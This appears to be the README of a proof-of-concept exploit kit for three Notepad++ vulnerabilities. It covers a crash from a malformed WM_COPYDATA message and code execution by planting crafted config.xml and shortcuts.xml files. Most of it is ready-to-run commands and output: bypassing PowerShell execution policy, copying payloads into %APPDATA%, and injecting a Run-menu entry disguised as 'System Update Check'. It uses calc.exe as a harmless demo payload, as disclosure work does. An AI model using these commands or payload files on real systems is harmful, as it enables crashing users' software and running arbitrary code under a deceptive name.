.
├── README.md
├── poc_CVE-2026-48770.py                    # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py                    # RCE via config.xml
├── poc_CVE-2026-48800.py                    # RCE via shortcuts.xml
└── payloads/
    ├── config.xml                           # Drop-in payload (CVE-2026-48778)
    ├── shortcuts.xml                        # Drop-in payload (CVE-2026-48800)
    └── poc_CVE-2026-48770.ps1               # OOB read crash (PowerShell)

# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1

python poc_CVE-2026-48770.py

[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)

# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe

# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe

# Restore
python poc_CVE-2026-48778.py --mode direct --restore

copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd

python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd

# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"

# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches

# Restore
python poc_CVE-2026-48800.py --mode direct --restore

copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"

python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"